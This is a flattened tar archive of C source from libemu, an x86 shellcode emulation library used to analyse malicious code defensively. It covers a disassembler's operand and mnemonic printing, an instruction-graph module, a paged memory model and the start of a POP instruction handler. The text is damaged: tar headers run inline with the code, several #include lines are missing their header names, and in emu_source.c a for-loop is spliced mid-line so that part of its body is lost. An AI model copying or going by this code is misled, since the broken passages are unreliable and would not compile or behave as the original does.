strlen(string), length - strlen(string), "%s", reg_table[REG_GEN_WORD][op->reg]); break; case OT_d: snprintf(string + strlen(string), length - strlen(string), "%s", reg_table[REG_GEN_DWORD][op->reg]); break; } } else snprintf(string + strlen(string), length - strlen(string), "%s", reg_table[regtype][op->reg]); } else if (op->type == OPERAND_TYPE_MEMORY) { // check mode mode = MODE_CHECK_ADDR(inst->mode, inst->flags); // Operand-specific segment override if (MASK_PREFIX_G2(inst->flags)) snprintf(string + strlen(string), length - strlen(string), "%s%s:", (format == FORMAT_ATT) ? "%" : "", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); // Some ATT stuff we need to check at this point if (format == FORMAT_ATT) { // "executable" operand if (MASK_PERMS(op->flags) == P_x) snprintf(string + strlen(string), length - strlen(string), "*"); // displacement in front of brackets if (op->dispbytes) snprintf(string + strlen(string), length - strlen(string), "0x%x", op->displacement); // no empty brackets - we're ready if ((op->basereg == REG_NOP) && (op->indexreg == REG_NOP)) return 1; } // Open memory addressing brackets snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "(" : "["); // Base register if (op->basereg != REG_NOP) { snprintf(string + strlen(string), length - strlen(string), "%s%s", (format == FORMAT_ATT) ? "%" : "", (mode == MODE_32) ? reg_table[REG_GEN_DWORD][op->basereg] : reg_table[REG_GEN_WORD][op->basereg]); } // Index register if (op->indexreg != REG_NOP) { if (op->basereg != REG_NOP) snprintf(string + strlen(string), length - strlen(string), "%s%s", (format == FORMAT_ATT) ? ",%" : "+", (mode == MODE_32) ? reg_table[REG_GEN_DWORD][op->indexreg] : reg_table[REG_GEN_WORD][op->indexreg]); else snprintf(string + strlen(string), length - strlen(string), "%s%s", (format == FORMAT_ATT) ? "%" : "", (mode == MODE_32) ? reg_table[REG_GEN_DWORD][op->indexreg] : reg_table[REG_GEN_WORD][op->indexreg]); switch (op->scale) { case 2: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? ",2" : "*2"); break; case 4: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? ",4" : "*4"); break; case 8: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? ",8" : "*8"); break; } } // INTEL displacement if (inst->dispbytes && (format != FORMAT_ATT)) { if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) { // Negative displacement if (op->displacement & (1<<(op->dispbytes*8-1))) { tmp = op->displacement; switch (op->dispbytes) { case 1: tmp = ~tmp & 0xff; break; case 2: tmp = ~tmp & 0xffff; break; case 4: tmp = ~tmp; break; } snprintf(string + strlen(string), length - strlen(string), "-0x%x", tmp + 1); // Positive displacement } else snprintf(string + strlen(string), length - strlen(string), "+0x%x", op->displacement); // Plain displacement } else { snprintf(string + strlen(string), length - strlen(string), "0x%x", op->displacement); } } // Close memory addressing brackets snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? ")" : "]"); } else if (op->type == OPERAND_TYPE_IMMEDIATE) { switch (MASK_AM(op->flags)) { case AM_J: snprintf(string + strlen(string), length - strlen(string), "0x%x", op->immediate + inst->length + offset); break; case AM_I1: case AM_I: if (format == FORMAT_ATT) snprintf(string + strlen(string), length - strlen(string), "$"); snprintf(string + strlen(string), length - strlen(string), "0x%x", op->immediate); break; // 32-bit or 48-bit address case AM_A: snprintf(string + strlen(string), length - strlen(string), "%s0x%x:%s0x%x", (format == FORMAT_ATT) ? "$" : "", op->section, (format == FORMAT_ATT) ? "$" : "", op->displacement); break; } } else return 0; return 1; } #endif // Fetch instruction /* * The operation is quite straightforward: * * - determine actual opcode (skip prefixes etc.) * - figure out which instruction table to use * - index the table with opcode * - parse operands * - fill instruction structure * * Only point where this gets hairy is those *brilliant* * opcode extensions.... * */ int get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) { PINST ptr = NULL; int index = 0; int flags = 0; memset(inst, 0, sizeof(INSTRUCTION)); // Parse flags, skip prefixes etc. get_real_instruction(addr, &index, &flags); // Select instruction table // No extensions - normal 1-byte opcode: if (MASK_EXT(flags) == 0) { inst->opcode = *(addr + index); ptr = &inst_table1[inst->opcode]; // FPU opcodes } else if (MASK_EXT(flags) == EXT_CP) { if (*(addr + index) < 0xc0) { // MODRM byte adds the additional byte index--; inst->fpuindex = *(addr + index) - 0xd8; inst->opcode = *(addr + index + 1); ptr = &inst_table4[inst->fpuindex] [MASK_MODRM_REG(inst->opcode)]; } else { inst->fpuindex = *(addr + index - 1) - 0xd8; inst->opcode = *(addr + index); ptr = &inst_table4[inst->fpuindex] [inst->opcode - 0xb8]; } // 2 or 3-byte opcodes } else if (MASK_EXT(flags) == EXT_T2) { inst->opcode = *(addr + index); // Parse flags, skip prefixes etc. (again) get_real_instruction2(addr + index, &flags); // 2-byte opcode table ptr = &inst_table2[inst->opcode]; // 3-byte opcode tables if (MASK_TYPE_FLAGS(ptr->type) == TYPE_3) { // prefix 0x66 if (MASK_PREFIX_OPERAND(flags) == 1) { ptr = &inst_table3_66[inst->opcode]; // prefix 0xf2 } else if (MASK_PREFIX_G1(flags) == 2) { ptr = &inst_table3_f2[inst->opcode]; // prefix 0xf3 } else if (MASK_PREFIX_G1(flags) == 3) { ptr = &inst_table3_f3[inst->opcode]; } } } // Opcode extension tables if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) { inst->opcode = *(addr + index); inst->extindex = MASK_MODRM_REG(*(addr + index + 1)); switch (MASK_EXT(flags)) { case EXT_GC: // prefix 0x66 if (MASK_PREFIX_OPERAND(flags) == 1) ptr = &inst_table_ext12_66[inst->extindex]; else ptr = &inst_table_ext12[inst->extindex]; break; case EXT_GD: // prefix 0x66 if (MASK_PREFIX_OPERAND(flags) == 1) ptr = &inst_table_ext13_66[inst->extindex]; else ptr = &inst_table_ext13[inst->extindex]; break; case EXT_GE: // prefix 0x66 if (MASK_PREFIX_OPERAND(flags) == 1) ptr = &inst_table_ext14_66[inst->extindex]; else ptr = &inst_table_ext14[inst->extindex]; break; // monitor/mwait // XXX: hack..... case EXT_G7: if (MASK_MODRM_MOD(*(addr + index + 1)) == 3) { if (inst->extindex != 1) return 0; if (MASK_MODRM_RM(*(addr + index + 1)) == 0) { ptr = &inst_monitor; // index is incremented to get // correct instruction len index++; } else if (MASK_MODRM_RM(*(addr + index + 1)) == 1) { ptr = &inst_mwait; index++; } else return 0; } else { ptr = &inst_table_ext7[inst->extindex]; } break; default: ptr = &inst_table_ext[(MASK_EXT(flags)) - 1] [inst->extindex]; break; } } // Index points now to first byte after prefixes/escapes index++; // Illegal instruction if (!ptr) return 0; if (!ptr->mnemonic) return 0; // Copy instruction type inst->type = MASK_TYPE_VALUE(ptr->type); // Pointer to instruction table inst->ptr = ptr; // Parse operands if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index, mode, flags)) return 0; if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index, mode, flags)) return 0; if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index, mode, flags)) return 0; // Add modrm/sib, displacement and immediate bytes in size inst->length += index + inst->immbytes + inst->dispbytes; // Copy addressing mode inst->mode = mode; // Copy instruction flags inst->flags = flags; return inst->length; } // Print instruction mnemonic #if !defined NOSTR int get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) { int mode; memset(string, 0, length); // Segment override, branch hint if (MASK_PREFIX_G2(inst->flags) && (inst->op1.type != OPERAND_TYPE_MEMORY) && (inst->op2.type != OPERAND_TYPE_MEMORY)) { // Branch hint if (inst->type == INSTRUCTION_TYPE_JMPC) snprintf(string + strlen(string), length - strlen(string), "%s ", reg_table[REG_BRANCH][(MASK_PREFIX_G2(inst->flags)) - 1]); // Segment override for others else snprintf(string + strlen(string), length - strlen(string), "%s ", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); } // Rep, lock etc. if (MASK_PREFIX_G1(inst->flags) && (MASK_EXT(inst->flags) != EXT_T2)) snprintf(string + strlen(string), length - strlen(string), "%s", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]); // Mnemonic // XXX: quick hack for jcxz/jecxz.. check if there are more // of these opcodes that have different mnemonic in same opcode if (((inst->type == INSTRUCTION_TYPE_JMPC) && (inst->opcode == 0xe3)) && (MASK_PREFIX_ADDR(inst->flags) == 1)) snprintf(string + strlen(string), length - strlen(string), "jcxz"); else snprintf(string + strlen(string), length - strlen(string), "%s", inst->ptr->mnemonic); // memory operation size in push/pop: if (inst->type == INSTRUCTION_TYPE_PUSH) { if (inst->op1.type == OPERAND_TYPE_IMMEDIATE) { switch (inst->op1.immbytes) { case 1: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "b" : " byte"); break; case 2: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "w" : " word"); break; case 4: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "l" : " dword"); break; } } else if (inst->op1.type == OPERAND_TYPE_MEMORY) { mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); if (mode == MODE_16) { snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "w" : " word"); } else if (mode == MODE_32) { snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "l" : " dword"); } } return 1; } if (inst->type == INSTRUCTION_TYPE_POP) { if (inst->op1.type == OPERAND_TYPE_MEMORY) { mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); if (mode == MODE_16) { snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "w" : " word"); } else if (mode == MODE_32) { snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "l" : " dword"); } } return 1; } // memory operation size in immediate to memory operations if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) && (MASK_AM(inst->op2.flags) == AM_I)) { switch (MASK_OT(inst->op1.flags)) { case OT_b: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "b" : " byte"); break; case OT_w: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "w" : " word"); break; case OT_d: snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "l" : " dword"); break; case OT_v: if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) || ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1))) snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "l" : " dword"); else snprintf(string + strlen(string), length - strlen(string), "%s", (format == FORMAT_ATT) ? "w" : " word"); break; } } // XXX: there might be some other cases where size is needed.. return 1; } // Print operands int get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset, char *string, int length) { if (format == FORMAT_ATT) { if (inst->op3.type != OPERAND_TYPE_NONE) { get_operand_string(inst, &inst->op3, format, offset, string + strlen(string), length - strlen(string)); snprintf(string + strlen(string), length - strlen(string), ","); } if (inst->op2.type != OPERAND_TYPE_NONE) { get_operand_string(inst, &inst->op2, format, offset, string + strlen(string), length - strlen(string)); snprintf(string + strlen(string), length - strlen(string), ","); } if (inst->op1.type != OPERAND_TYPE_NONE) get_operand_string(inst, &inst->op1, format, offset, string + strlen(string), length - strlen(string)); } else if (format == FORMAT_INTEL) { if (inst->op1.type != OPERAND_TYPE_NONE) get_operand_string(inst, &inst->op1, format, offset, string + strlen(string), length - strlen(string)); if (inst->op2.type != OPERAND_TYPE_NONE) { snprintf(string + strlen(string), length - strlen(string), ","); get_operand_string(inst, &inst->op2, format, offset, string + strlen(string), length - strlen(string)); } if (inst->op3.type != OPERAND_TYPE_NONE) { snprintf(string + strlen(string), length - strlen(string), ","); get_operand_string(inst, &inst->op3, format, offset, string + strlen(string), length - strlen(string)); } } else return 0; return 1; } // Print instruction mnemonic, prefixes and operands int get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset, char *string, int length) { // Print the actual instruction string with possible prefixes etc. get_mnemonic_string(inst, format, string, length); snprintf(string + strlen(string), length - strlen(string), " "); // Print operands if (!get_operands_string(inst, format, offset, string + strlen(string), length - strlen(string))) return 0; return 1; } #endif // Helper functions int get_register_type(POPERAND op) { if (op->type != OPERAND_TYPE_REGISTER) return 0; switch (MASK_AM(op->flags)) { case AM_REG: if (MASK_FLAGS(op->flags) == F_r) return REGISTER_TYPE_SEGMENT; else if (MASK_FLAGS(op->flags) == F_f) return REGISTER_TYPE_FPU; else return REGISTER_TYPE_GEN; case AM_E: case AM_G: case AM_R: return REGISTER_TYPE_GEN; case AM_C: return REGISTER_TYPE_CONTROL; case AM_D: return REGISTER_TYPE_DEBUG; case AM_S: return REGISTER_TYPE_SEGMENT; case AM_T: return REGISTER_TYPE_TEST; case AM_P: case AM_Q: return REGISTER_TYPE_MMX; case AM_V: case AM_W: return REGISTER_TYPE_XMM; default: break; } return 0; } int get_operand_type(POPERAND op) { return op->type; } int get_operand_register(POPERAND op) { return op->reg; } int get_operand_basereg(POPERAND op) { return op->basereg; } int get_operand_indexreg(POPERAND op) { return op->indexreg; } int get_operand_scale(POPERAND op) { return op->scale; } int get_operand_immediate(POPERAND op, DWORD *imm) { if (op->immbytes) { *imm = op->immediate; return 1; } else return 0; } int get_operand_displacement(POPERAND op, DWORD *disp) { if (op->dispbytes) { *disp = op->displacement; return 1; } else return 0; } // XXX: note that source and destination are not always literal POPERAND get_source_operand(PINSTRUCTION inst) { if (inst->op2.type != OPERAND_TYPE_NONE) return &inst->op2; else return NULL; } POPERAND get_destination_operand(PINSTRUCTION inst) { if (inst->op1.type != OPERAND_TYPE_NONE) return &inst->op1; else return NULL; } libemu-0.2.0+git20120122+564/src/emu_source.c0000644000175300017530000001221711706767213017147 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_instruction.h" #include "emu/emu_track.h" #include "emu/emu_source.h" #include "emu/emu_hashtable.h" #include "emu/emu_graph.h" #include "emu/emu_queue.h" uint32_t emu_source_instruction_graph_create(struct emu *e, struct emu_track_and_source *es, uint32_t datastart, uint32_t datasize) { // printf("tracking from %x to %x\n", datastart, datastart+datasize); struct emu_cpu *c = emu_cpu_get(e); es->static_instr_graph = emu_graph_new(); es->static_instr_table = emu_hashtable_new(datasize/2, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); es->static_instr_graph->vertex_destructor = emu_source_and_track_instr_info_free_void; uint32_t i; for (i=datastart;idata = etii; emu_hashtable_insert(es->static_instr_table, (void *)(uintptr_t)i, ev); emu_graph_vertex_add(es->static_instr_graph, ev); } struct emu_vertex *ev; for ( ev = emu_vertexes_first(es->static_instr_graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { struct emu_source_and_track_instr_info *etii = (struct emu_source_and_track_instr_info *)ev->data; struct emu_hashtable_item *ehi = emu_hashtable_search(es->static_instr_table, (void *)(uintptr_t)etii->source.norm_pos); // printf("NORM from %08x to %08x\n",((struct emu_source_and_track_instr_info *)ev->data)->eip, etii->source.norm_pos); if (ehi != NULL) { struct emu_vertex *to = (struct emu_vertex *)ehi->value; emu_vertex_edge_add(ev, to); }else { // printf("NORM IS UNKNOWN %08x\n", etii->source.norm_pos); } if (etii->source.has_cond_pos == 1) { // printf("COND from %08x to %08x\n",((struct emu_source_and_track_instr_info *)ev->data)->eip, etii->source.cond_pos); ehi = emu_hashtable_search(es->static_instr_table, (void *)(uintptr_t)etii->source.cond_pos); if (ehi != NULL) { struct emu_vertex *to = (struct emu_vertex *)ehi->value; emu_vertex_edge_add(ev, to); }else { // printf("COND IS UNKNOWN\n"); } } } return 0; } void emu_source_backward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev) { struct emu_vertex *it; for ( it = emu_vertexes_first(et->static_instr_graph->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) ) it->color = white; it = ev; struct emu_queue *eq = emu_queue_new(); emu_queue_enqueue(eq, ev); while (emu_queue_empty(eq) == false) { ev = (struct emu_vertex *)emu_queue_dequeue(eq); struct emu_edge *ee; for ( ee = emu_edges_first(ev->backedges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { if (ee->destination->color != white) continue; ee->destination->color = grey; emu_queue_enqueue(eq, ee->destination); } if ( emu_edges_length(ev->backedges) == 0 ) ev->color = green; else ev->color = black; } emu_queue_free(eq); it->color = red; } void emu_source_forward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev) { struct emu_vertex *it; for ( it = emu_vertexes_first(et->static_instr_graph->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) ) it->color = white; it = ev; struct emu_queue *eq = emu_queue_new(); emu_queue_enqueue(eq, ev); while (emu_queue_empty(eq) == false) { ev = (struct emu_vertex *)emu_queue_dequeue(eq); struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { if (ee->destination->color != white) continue; ee->destination->color = grey; emu_queue_enqueue(eq, ee->destination); } if ( emu_edges_length(ev->edges) == 0 ) ev->color = yellow; else ev->color = black; } emu_queue_free(eq); it->color = red; } libemu-0.2.0+git20120122+564/src/emu_memory.c0000644000175300017530000002641511706767213017164 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_string.h" #define PAGE_BITS 12 /* size of one page, 2^12 = 4096 */ #define PAGESET_BITS 10 /* number of pages in one pageset, 2^10 = 1024 */ #define PAGE_SIZE (1 << PAGE_BITS) #define PAGESET_SIZE (1 << PAGESET_BITS) #define PAGESET(x) ((x) >> (PAGESET_BITS + PAGE_BITS)) #define PAGE(x) (((x) >> PAGE_BITS) & ((1 << PAGESET_BITS) - 1)) #define OFFSET(x) (((1 << PAGE_BITS) - 1) & (x)) #define FS_SEGMENT_DEFAULT_OFFSET 0x7ffdf000 struct emu_memory { struct emu *emu; void ***pagetable; uint32_t segment_offset; enum emu_segment segment_current; uint32_t segment_table[6]; bool read_only_access; }; #if 1 /*static void emu_memory_debug_pagetable(struct emu_memory *m) { int pagesets = 1 << (32 - PAGESET_BITS - PAGE_BITS); int pagesets_used = 0; printf("*** memory debug\n"); int i, j; for( i = 0; i < pagesets; i++ ) { if( m->pagetable[i] != NULL ) { printf(" pageset %d allocated at 0x%08x\n", i, (int)m->pagetable[i]); int pages = 1 << (PAGESET_BITS); int pages_used = 0; for( j = 0; j < pages; j++ ) { if( m->pagetable[i][j] != NULL ) { printf(" page %d allocated at 0x%08x\n", j, (int)m->pagetable[i][j]); pages_used++; } } printf(" %d/%d pages used\n", pages_used, pages); pagesets_used++; } } printf(" %d/%d pagesets used\n", pagesets_used, pagesets); printf("*** end of memory debug\n"); } static void emu_memory_debug_addr(uint32_t addr) { printf("addr 0x%08x, pageset 0x%08x, page 0x%08x, offset 0x%08x\n", addr, PAGESET(addr), PAGE(addr), OFFSET(addr)); }*/ #endif uint32_t emu_memory_get_usage(struct emu_memory *m) { uint32_t usage = (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *); /* pageset table */ int pagesets = 1 << (32 - PAGESET_BITS - PAGE_BITS); int i, j; for( i = 0; i < pagesets; i++ ) { if( m->pagetable[i] != NULL ) { usage += PAGESET_SIZE * sizeof(void *); int pages = 1 << (PAGESET_BITS); for( j = 0; j < pages; j++ ) if( m->pagetable[i][j] != NULL ) usage += PAGE_SIZE; } } return usage; } struct emu_memory *emu_memory_new(struct emu *e) { struct emu_memory *em = (struct emu_memory *)malloc(sizeof(struct emu_memory)); if( em == NULL ) { return NULL; } memset(em, 0, sizeof(struct emu_memory)); em->emu = e; em->pagetable = malloc((1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *)); if( em->pagetable == NULL ) { return NULL; } memset(em->pagetable, 0, (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *)); em->segment_table[s_fs] = FS_SEGMENT_DEFAULT_OFFSET; em->read_only_access = false; return em; } void emu_memory_free(struct emu_memory *m) { int i, j; for( i = 0; i < (1 << (32 - PAGESET_BITS - PAGE_BITS)); i++ ) { if( m->pagetable[i] != NULL ) { for( j = 0; j < PAGESET_SIZE; j++ ) if( m->pagetable[i][j] != NULL ) free(m->pagetable[i][j]); free(m->pagetable[i]); } } free(m->pagetable); free(m); } void emu_memory_clear(struct emu_memory *m) { int i, j; for( i = 0; i < (1 << (32 - PAGESET_BITS - PAGE_BITS)); i++ ) { if( m->pagetable[i] != NULL ) { for( j = 0; j < PAGESET_SIZE; j++ ) if( m->pagetable[i][j] != NULL ) free(m->pagetable[i][j]); free(m->pagetable[i]); } } memset(m->pagetable, 0, (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *)); m->segment_table[s_fs] = FS_SEGMENT_DEFAULT_OFFSET; m->read_only_access = false; } static inline int page_is_alloc(struct emu_memory *em, uint32_t addr) { if( em->pagetable[PAGESET(addr)] != NULL ) { if( em->pagetable[PAGESET(addr)][PAGE(addr)] != NULL ) { return -1; } } return 0; } static inline int page_alloc(struct emu_memory *em, uint32_t addr) { if( em->pagetable[PAGESET(addr)] == NULL ) { em->pagetable[PAGESET(addr)] = malloc(PAGESET_SIZE * sizeof(void *)); if( em->pagetable[PAGESET(addr)] == NULL ) { emu_errno_set(em->emu, ENOMEM); emu_strerror_set(em->emu, "out of memory\n", addr); return -1; } memset(em->pagetable[PAGESET(addr)], 0, PAGESET_SIZE * sizeof(void *)); } if( em->pagetable[PAGESET(addr)][PAGE(addr)] == NULL ) { em->pagetable[PAGESET(addr)][PAGE(addr)] = malloc(PAGE_SIZE); if( em->pagetable[PAGESET(addr)][PAGE(addr)] == NULL ) { emu_errno_set(em->emu, ENOMEM); emu_strerror_set(em->emu, "out of memory\n", addr); return -1; } memset(em->pagetable[PAGESET(addr)][PAGE(addr)], 0, PAGE_SIZE); } return 0; } static inline void *translate_addr(struct emu_memory *em, uint32_t addr) { if( em->pagetable[PAGESET(addr)] != NULL ) { if( em->pagetable[PAGESET(addr)][PAGE(addr)] != NULL ) { return em->pagetable[PAGESET(addr)][PAGE(addr)] + OFFSET(addr); } } return NULL; } int32_t emu_memory_read_byte(struct emu_memory *m, uint32_t addr, uint8_t *byte) { addr += m->segment_offset; void *address = translate_addr(m, addr); if( address == NULL ) { emu_errno_set(m->emu, EFAULT); emu_strerror_set(m->emu, "error accessing 0x%08x not mapped\n", addr); return -1; } *byte = *((uint8_t *)address); return 0; } int32_t emu_memory_read_word(struct emu_memory *m, uint32_t addr, uint16_t *word) { #if BYTE_ORDER == BIG_ENDIAN uint16_t val; int32_t retval = emu_memory_read_block(m, addr, &val, 2); val = ((val & 0xff00) >> 8) | ((val & 0x00ff) << 8); bcopy(&val,word,2); return retval; #else return emu_memory_read_block(m, addr, word, 2); #endif } int32_t emu_memory_read_dword(struct emu_memory *m, uint32_t addr, uint32_t *dword) { #if BYTE_ORDER == BIG_ENDIAN uint32_t val; int32_t retval = emu_memory_read_block(m, addr, &val, 4); val = ((val & (0xff000000)) >> 24) | ((val & (0x00ff0000)) >> 8) | ((val & (0x0000ff00)) << 8) | ((val & (0x000000ff)) << 24); memcpy(dword, &val, 4); return retval; #else return emu_memory_read_block(m, addr, dword, 4); #endif } int32_t emu_memory_read_block(struct emu_memory *m, uint32_t addr, void *dest, size_t len) { uint32_t oaddr = addr; /* save original addr for recursive call */ addr += m->segment_offset; void *address = translate_addr(m, addr); if( address == NULL ) { emu_errno_set(m->emu, EFAULT); emu_strerror_set(m->emu, "error accessing 0x%08x not mapped\n", addr); return -1; } if (OFFSET(addr) + len <= PAGE_SIZE) { bcopy(address, dest, len); return 0; } else { uint32_t cb = PAGE_SIZE - OFFSET(addr); bcopy(address, dest, cb); return emu_memory_read_block(m, oaddr + cb, dest + cb, len - cb); } } int32_t emu_memory_read_string(struct emu_memory *m, uint32_t addr, struct emu_string *s, uint32_t maxsize) { uint32_t i = 0; void *address; while( 1 ) { if (i > maxsize - 1) return -1; address = translate_addr(m, addr + i); if( address == NULL ) return -1; if( *(uint8_t *)address == '\0' ) break; i++; } s->data = malloc(i + 1); memset(s->data, 0, i + 1); s->size = i; return emu_memory_read_block(m, addr, s->data, i); } int32_t emu_memory_write_byte(struct emu_memory *m, uint32_t addr, uint8_t byte) { if ( m->read_only_access == true ) return 0; addr += m->segment_offset; void *address = translate_addr(m, addr); if( address == NULL ) { if( page_alloc(m, addr) == -1 ) return -1; address = translate_addr(m, addr); } *((uint8_t *)address) = byte; return 0; } int32_t emu_memory_write_word(struct emu_memory *m, uint32_t addr, uint16_t word) { if (m->read_only_access == true) return 0; #if BYTE_ORDER == BIG_ENDIAN uint16_t val; bcopy(&word, &val, 2); val = ((val & 0xff00) >> 8) | ((val & 0x00ff) << 8); return emu_memory_write_block(m, addr, &val, 2); #else return emu_memory_write_block(m, addr, &word, 2); #endif } int32_t emu_memory_write_dword(struct emu_memory *m, uint32_t addr, uint32_t dword) { if (m->read_only_access == true) return 0; #if BYTE_ORDER == BIG_ENDIAN uint32_t val; bcopy(&dword, &val, 4); val = ((val & (0xff000000)) >> 24) | ((val & (0x00ff0000)) >> 8) | ((val & (0x0000ff00)) << 8) | ((val & (0x000000ff)) << 24); return emu_memory_write_block(m, addr, &val, 4); #else return emu_memory_write_block(m, addr, &dword, 4); #endif } int32_t emu_memory_write_block(struct emu_memory *m, uint32_t addr, const void *src, size_t len) { if (m->read_only_access == true) return 0; uint32_t oaddr = addr; /* save original addr for recursive call */ addr += m->segment_offset; void *address = translate_addr(m, addr); if( address == NULL ) { if( page_alloc(m, addr) == -1 ) return -1; address = translate_addr(m, addr); } if (OFFSET(addr) + len <= PAGE_SIZE) { bcopy(src, address, len); return 0; } else { uint32_t cb = PAGE_SIZE - OFFSET(addr); bcopy(src, address, cb); return emu_memory_write_block(m, oaddr + cb, src + cb, len - cb); } return 0; } void emu_memory_segment_select(struct emu_memory *m, enum emu_segment s) { m->segment_current = s; m->segment_offset = m->segment_table[m->segment_current]; } enum emu_segment emu_memory_segment_get(struct emu_memory *m) { return m->segment_current; } /* make sure a memory block of size *len* is allocated at *addr* */ /*int32_t emu_memory_alloc_at(struct emu_memory *m, uint32_t addr, size_t len) { len += addr % PAGE_SIZE; addr = (addr >> PAGE_BITS) << PAGE_BITS; while( len > 0 ) { if( len > PAGE_SIZE ) { len -= PAGE_SIZE; page_alloc(m, addr); addr += PAGE_SIZE; } else { len -= len; page_alloc(m, addr); } } return 0; }*/ int32_t emu_memory_alloc(struct emu_memory *m, uint32_t *addr, size_t len) { *addr = 0x00200000; uint32_t pages = len / PAGE_SIZE; if( len % PAGE_SIZE != 0 ) { pages++; } int i; /* TODO: ensure termination */ for( ; ; ) { for( i = 0; i < pages; i++ ) { if( page_is_alloc(m, *addr + i * PAGE_SIZE) != 0 ) { break; } } if( i == pages ) { for( i = 0; i < pages; i++ ) { if( page_alloc(m, *addr + i * PAGE_SIZE) ) { return -1; } } return 0; } *addr += len + PAGE_SIZE; } return -1; } void emu_memory_mode_ro(struct emu_memory *m) { m->read_only_access = true; } void emu_memory_mode_rw(struct emu_memory *m) { m->read_only_access = false; } libemu-0.2.0+git20120122+564/src/functions/0000755000175300017530000000000011706767213016642 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/functions/pop.c0000644000175300017530000000710511706767213017607 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 571*/ int32_t instr_pop_07(struct emu_cpu *c, struct 